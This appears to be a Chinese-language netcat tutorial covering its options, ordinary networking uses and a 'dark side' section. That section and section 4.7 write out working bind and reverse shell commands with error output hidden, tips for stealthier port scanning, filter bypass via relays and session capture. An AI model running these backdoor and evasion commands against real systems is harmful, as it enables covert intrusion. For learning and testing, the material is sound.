netcat

1 历史

1 netcat创建于1995年，开发到1996年的前几个月时，由Avian Research (avian.org)发布了v1.10.

  netcat及其相关软件包由Avian Research开发，且开源

2 netcat的另一个分支为GNU Netcat，用于改进可移植性、可用性和功能设计

  官网  http://netcat.sourceforge.net/

  该项目的目标是与广泛使用的原始NC 1.10完全兼容，并且具有可移植性

不同分支的nc基本上都兼容

 

以下内容为kali自带的nc(GNU nc)

2 options

option	描述
-c string	指定连接后要执行的shell命令；命令由/bin/sh -c 执行
-e filename	指定连接后要执行的文件
-g gateway	指定源路由中间路由器，参考traceroute的-g选项
-G num	source-routing pointer: 4, 8, 12, ...
-h	帮助文档
-i secs	发送消息，端口扫描的时间间隔
-l	监听模式；默认监听0.0.0.0，通过-s指定监听地址
-n	不进行dns解析，使用纯数字ip地址
-o file	将输入输出的数据以16进制和注释的形式保存到文件
-p port	指定本地端口；可以为单个端口或范围(low-high)； 连接远程主机时，用于指定源端口
-q seconds	stdin接收到EOF后等待指定秒后退出，如果seconds为负数，则永远等待(接收EOF后不退出，但是不能再发送数据)
-b	允许UDP广播
-r	随机分配本地和远程端口
-s addr	本地源地址；指定监听地址或数据包源地址
-t	启用telnet协商
-u	使用udp协议
-v	显示详细信息，两次显示更加详细的信息
-w secs	连接的超时时间,网络不活动超时时间(从stdin读取EOF后多久断开连接)
-C	发送CRLF作为行尾
-z	零I/O模式[用于扫描]
-T type	设置TOS类型，用于优化数据包传输 可选值：Minimize-Delay、Maximize-Throughput、Maximize-Reliability、Minimize-Cost

扩展说明

nc从stdin接收到EOF后，则关闭stdin，后续的输入会存放在stdin中，待下一个程序从stdin中读取内容

CRLF、CR、LF

CRLF	\r\n
CR	\r
LF	\n

 

3 特性

3.1 无参数

说明：当未指定参数运行netcat时，netcat打印Cmd line提示用户输入命令参数，随后从stdin读取一行内容，并将其分解为参数

优点：某些类型的脚本中使用该方式驱动netcat是非常有用的

缺点：ps命令不会显示netcat的参数

3.2 hostname

1 hostname可以为域名或ip地址

2 指定-n选项，则netcat仅接受ip地址，不进行DNS查询

3 未指定-n时，netcat会进行DNS正向与反向查询，可以通过-v选项来查看这些信息，当查询不匹配时也会进行警告

3.3 port

1 port可以是数字或/etc/services中的端口别名

2 指定-n选项，仅数字参数有效

3 特殊语法和/或多个端口参数会导致不同的行为——参阅端口扫描相关内容

3.4 -v

1 -v选项控制发送到stderr的消息的详细级别

2 -v选项显示netcat尝试建立连接时的信息

  -w选项限制来连接时间

  'nc -v -w 3'等同于使用telnet进行端口检测

3 多次指定-v将显示更加详细的内容

4 未指定-v,netcat将静默的工作，除非netcat运行时发生一些错误，此时它将报告错误并以非零状态退出。

  拒绝的网络连接通常不被视为错误， 除非你只要求一个TCP端口却被拒绝了

3.5 -w

1 -w选项指定连接超时

2 -w选项也用于指定网络不活动超时时间(从stdin接收到EOF后，指定时间内没有收到信息则断开连接)

3.6 -u

1 指定-u选项后，则使用UDP替换TCP

2 udp模式在从stdin读取数据之前，不会发送任何数据；

  因此只有从stdin读取数据后，才会发送udp数据包，此时才可以确定对面另一端是否为udp服务器

  使用-u可以连接任何主机，等输入第一行内容后，才会进行验证

3.7 -o

1 -o选项保存16进制存储(dump)文件，该文件存储了整个连接过程的内容

2 16进制转储文件中，以 < 开头的行表示接收的数据，以 > 开头的行表示发送的数据

3 捕获16进制下转储文件会消耗资源，减慢netcat的速度，所以不要在速度很关键的地方使用它

3.8 -p

1 Netcat可以绑定到任何本地端口，受限于特权限制和已使用端口

2 搭配-l则指定监听端口，否则指定源端口

3 root用户可以获取任何未使用的源端口，包括小于1024的“保留”端口。

4 未指定-p选项，将绑定到系统提供您的任何未使用的端口

3.9 -s

1 -s可以指定本地某一个接口的地址作为监听地址或源地址

3.10 -l

1 udp模式下需要指定监听端口

2 tcp模式下允许不指定监听端口，此时监听端口由系统分配，可通过-v选项查看系统分配端口

3 在监听模式下指定目标主机和端口，则仅允许指定主机的指定端口连接；

  可以单独指定主机，限制主机访问；端口必须与主机一起使用

  nc -l -p 12345 192.168.1.1

  nc -l -p 12345 192.168.1.1 22222

4 -v选项显示监听模式下的更多信息：监听ip，监听端口，连接主机等等

5 如果系统支持IP套接字选项，netcat将尝试从入站连接检索任何此类选项并以十六进制打印出来

3.11 -e

1 如果netcat是用-DGAPING_SECURITY_HOLE编译的，则-e参数指定在建立或接收一个成功连接后要执行的程序

2 -e选项也支持udp模式

  客户端：运行netcat立即执行程序

  服务端：接收到udp数据后再执行程序

3 -e选项不支持提供程序参数，因此想要运行含有参数的命令，请创建一个脚本

3.12 -t

1 如果netcat是用-DTELNET编译的，-t参数使它能够响应telnet选项协商[总是处于否定状态，即DONT或WONT]

2 通过-t选项可以模拟telnet客户端访问telnet服务

3 此功能有可能修改数据流，因此默认情况下不会启用它

3.13 -i

1 为了尽可能高效的传递数据，netcat使用大量8k进行读写，将来自网络的数据传递给stdout,将stdin发送到网络

2 -i选项指定了发送间隔，用于降低速度

  指定-i选项后，stdin仍是大批量读取，但netcat随后会尝试查找存在换行符的位置，并每隔一段时间发送一行

  如果stdin是一个终端，那么数据已经被逐行读取，除非使-i间隔相当长，否则键入的内容将以相当正常的速率输出

3 -i选项为从文件或管道批量读取数据而设计的

3.14 -z

1 禁止向tcp连接发送数据

2 向udp连接发送少量数据（见3.10,如果不发送数据则无法检测udp端口）

3 基于1、2实现来快速扫描功能，-v选项显示扫描情况

4 -i选项用于限制扫描速度

5 /etc/services中含有--字符的别名，netcat可能无法解析，尽量使用数字形式的端口号

6 示例：  nc -v -w 2 -z 192.168.8.100 20-30

3.15 -r

1 默认情况根据端口范围依次扫描

2 指定-r选项，将在端口范围内随机跳转，(可通过sort对扫描结果排序)

  如果随机模式有效，本地源端口也会随机化，这样可以防止netcat在扫描时显示出任何类型的规则模式

3 对单个连接使用-r，则源端口将使用8192以上的随机值，而不是内核分配给您的下一个值

4 如果使用-p选项指定本地端口，将会覆盖任何本地端口随机化

3.16 -g

1 -g选项为宽松的源路由指定中间路由器，该选项最多指定8个中间路由器

2 -g选项参考traceroute的-g选项

3 百度源路由或源站选路了解更多详细内容

 

4 示例-the light side

4.1 模拟web客户端

# nc www.baidu.com 80

GET / HTTP/1.0

4.2 -v选项信息保存

netcat的-v选项通过stderr进行输出，> 和 >>仅将重定向stdout，因此需要将stderr重定向到stdout

nc 192.168.1.1 2222 -v > log 2 >& 1

nc 192.168.1.1 2222 -v >& log

4.3 扫描示例

echo QUIT | nc -v -w 5 target 20-250 500-600 5990-7000

说明：该指令将尝试连接traget的20-250，500-600，5990-7000端口；超时时间为5s；每当端口成功连接时，都会发送QUIT给对方

用途：端口扫描+端口提示信息

注意：使用nc连接telnet服务时，无法通过命令退出，因此需要使用EOF+超时机制退出。

 echo QUIT作用：

1 获取服务的提示信息

2 echo QUIT将输入EOF给netcat,因此搭配-w实现超时退出

4.4 数据传输

建议：监听端不设置超时，发送端设置短暂超时，当数据传输完成后自动关闭连接

命令：服务端  nc -l -p 1234 | uncompress -c | tar xvfp -

 客户端  tar cfp - /some/dir | compress -c | nc -w 3

说明：nc -l -p 1234    监听本地1234端口

 uncompress -c    解压数据，并将其输出到stdout

 tar xvfp -       提取标准输入中的文件

  x 提取存档中的文件

  v 显示详细信息

  f 指定文件

  p 提取所有保护信息

  - 标准输入/输出（f参数所需要，表示从表中输入读取）

 tar cfp - /some/dir    归档/some/dir然后传输到stdout

 compress -c            压缩文件，然后输出到stdout

 nc -w 3 target 1234    连接target的1234端口，超时3秒

用途：将指定文件/目录归档，压缩后发送给服务端；服务端接收到归档文件后对其解压，提取；

     netcat可以在corn中进行数据的定时备份；由于netcat遇到错误返回非零状态，因此可以用于脚本

4.5 数据传输-浏览器访问

服务端：# cat test.txt

This is test text

The content will show in your browser

   # nc -l -p 22222 -v -q 1 < test.txt

客户端：访问http://192.168.8.100:22222

   显示This is test text The content will show in your browser

4.6 inetd替代品

1 使用GAPING_SECURITY_HOLE定义构建netcat，则可以使用netcat作为inedt的替代品

2 不能处理信号

3 可以绑定到特定的本地地址

4 -v选项用于显示更多详细信息

4.7 远程命令执行

说明：客户端运行程序并连接到服务端，由服务端完成对程序的操作

用途：反向连接shell

示例：服务端  nc -l -p 22222 -v

 客户端  nc 192.168.8.100 22222 -e /bin/bash

4.8 性能测试

服务端：yes AAAAAAAAAAAAAAAAAAAAAA | nc -v -v -l -p 2222 > /dev/null

客户端：yes BBBBBBBBBBBBBBBBBBBBBB | nc othermachine 2222 > /dev/null

说明：1 -v -v在中断程序后，显示发送和接收的数据量

 2 udp模式下每单位时间内产生8Kb数据，足以对内核和网络接口进行压力测试

 3 发送随机二进制数据给网络服务，可能会暴露出输入处理的错误

4.9 网络协议调试

通过hex dump特性，将交互的数据以16进制形式转储到文件，用于后续分析

4.10 测试远程syslogger

echo '<38>message' | nc -w 1 -u loggerhost 514

udp 514端口为syslog远程日志存储服务

4.11 测试包过滤器(防火墙)

4.12 保护x server不受外部访问

脚本：

while true ; do

  nc -v -l -s <your-addr> -p 6000 localhost 2

done

说明：

netcat监听6000端口(x server端口)，且仅允许localhost 2访问该端口；这样每当访问6000端口时都会阻止并进行提示

4.13 服务中继

原理：-c、-e选项执行命令或程序，并将输入输出转接到对端，由此来完成中继

示例：

1 telnet

方法1

服务端(192.168.8.107)

 # nc -l -p 22222 -c 'telnet 192.168.8.100'

客户端(192.168.8.100)

 # nc 192.168.8.107 22222 -t

 

方法2

服务端(192.168.8.107)

# nc -l -v -p 22222 -c 'nc 192.168.8.100 23'

客户端(192.168.8.100)

# nc 192.168.8.107 22222 -t

 

2 ssh

注意：ssh客户端不是通过stdout与stderr输出内容的

 ssh localhost >& test 仍会在输出内容到终端

服务端(192.168.8.107)

 # nc -l -v -p 22222 -c 'nc 192.168.8.100 22'

客户端(192.168.8.100)

 # ssh 192.168.8.107 -p 22222

 

3 多重中继

服务端(192.168.8.107)

 # nc -l -v -p 22222 -c 'nc 192.168.8.107 22223'&

 # nc -l -v -p 22223 -c 'nc 192.168.8.107 22224'&

 # nc -l -v -p 22224 -c 'nc 192.168.8.100 22'

客户端(192.168.8.100)

 # ssh 192.168.8.107 -p 22222

4.14 CGI脚本

使用netcat监听特定端口，并通过-e选项指定脚本或程序，然后在主页上通过一个URL指向找个端口

 

 

5 示例-the dark side

5.0 端口监听说明

环境：pc存在多张网卡，ip分别为192.168.8.100 192.168.1.1 192.168.3.2，通过netcat查看监听端口

情景一：192.168.8.100:22   

仅在192.168.8.100上监听22端口

此时仅可以访问192.168.8.100:22

情景二：0.0.0.0:22   

在本机存在的所有ip上监听22端口，即在192.168.8.100、192.168.1.1、192.168.3.2上监听22端口

此时可以访问192.168.8.100:22、192.168.1.1:22、192.168.3.2:22,且它们为同一个服务

5.1 端口扫描

1 构造数据，获取更多扫描信息

2 使用无参数netcat，确保ps无法获悉更多扫描信息

3 -r选项，随机扫描，减少被检测的可能

4 -i选项，间隔扫描，减少被检测的可能

5.2 绕过包过滤器

监听合法的对外端口，并通过-c或-e中继到本地受限制的端口，从而绕过包过滤器

5.3 捕获交互数据

服务端：  # nc -l -v -p 22222 -c 'nc 192.168.8.100 23 -o dump '

客户端：  # telnet 192.168.8.100 22222

说明：服务端中的dump为 客户端与192.168.8.100 的通信数据

     -o选项dump netcat的输入和输出内容，

 但是通过-c选项指定了命令，此时netcat不处理输入和输出，仅转发命令的输入和输入，所以要在命令中指定-o选项

5.4 后门

tcp

1 正向

服务端：# nc -l -v -p 22222 -e /bin/bash >& /dev/null

客户端：# nc 192.168.8.100 22222

客户端获取到服务端的shell，服务端将stderr信息丢弃，避免显示

2 反向

服务端：# nc -l -v -p 22222

客户端：# nc 192.168.8.100 22222 -e /bin/bash  >& /dev/null

服务端获取到客户端的shell,客户端将stderr信息丢弃，避免显示

udp

1 正向

服务端：# nc -l -v -p 22222 -u -e /bin/bash >& /dev/null

客户端：# nc 192.168.8.100 22222 -u

客户端获取到服务端的shell，服务端将stderr信息丢弃，避免显示

注意：在客户端连接后，需要发送数据来确定端口状态，随后获取到shell

2 反向

服务端：# nc -l -v -p 22222 -u

客户端：# nc 192.168.8.100 22222 -u -c 'echo 1;/bin/bash' >& /dev/null

服务端获取到客户端的shell,客户端将stderr信息丢弃，避免显示

注意：通过-c 'echo 1;/bin/bash' 可以自动发送首个数据包，确定端口情况，然后进行shell交互

udp模式每次读取一个字符，因此输入命令格式如下：

l

s

 

netcat-traditional

 

5.5 用于编写密码破解脚本

5.6 使用nc -t代替telnet,可以防止无意中通过telnet连接发送额外的信息

5.7 伪造源地址

1 使用-s选项指定内核中配置且并未使用的网络接口地址来伪造源地址

2 可以在1的基础上，使用-g和-G进一步欺骗

5.8 拒绝服务；搭配源地址伪造使得溯源较为困难

 

6 其它细节

对各种警告、微妙之处和内部设计的讨论

1 读取文件

说明：

从1.07版开始，netcat支持读取文件来配置参数和指定数据；文件的第一行为参数,其余行为数据

当netcat读取文件时，则指定文件作为输入，最后输入EOF终止，因此命令行输入的内容将不再输出到对端

文件示例: nc.txt

-l -v -p 22222           参数

data                      数据

使用示例

# nc < nc.txt 或  # cat nc.txt | nc

2 udp特性-连接拒绝

1 当netcat接收到入站udp连接时，它会创建一个“连接的套接字”返回到连接的源（udp反向连接回去），然后使用write()发送数据

2 基于这个特性，当客户端中断udp连接后再次连接时源端口发生改变，此时服务端将不再接收连接，除非指定源端口为最初的端口

3 示例

服务端

# nc -l -v -p 22222 -u

客户端

# nc 192.168.8.100 22222 -u -p 12345   #首次可通信

# nc 192.168.8.100 22222 -u -p 12345   #源端口未变，仍可通信

# nc 192.168.8.100 22222 -u -p 23456   #源端口改变，不可通信

 

3 udp特性-端口误报

1 netcat发送udp数据包后，如果没有接收到ICMP错误，则会认为端口为打开状态

2 端口扫描时，如果过滤器阻塞了udp数据包或发生了丢包或其它类似情况时，都将显示端口为open

 

7 更多细节和示例查看/usr/share/doc/netcat-traditional目录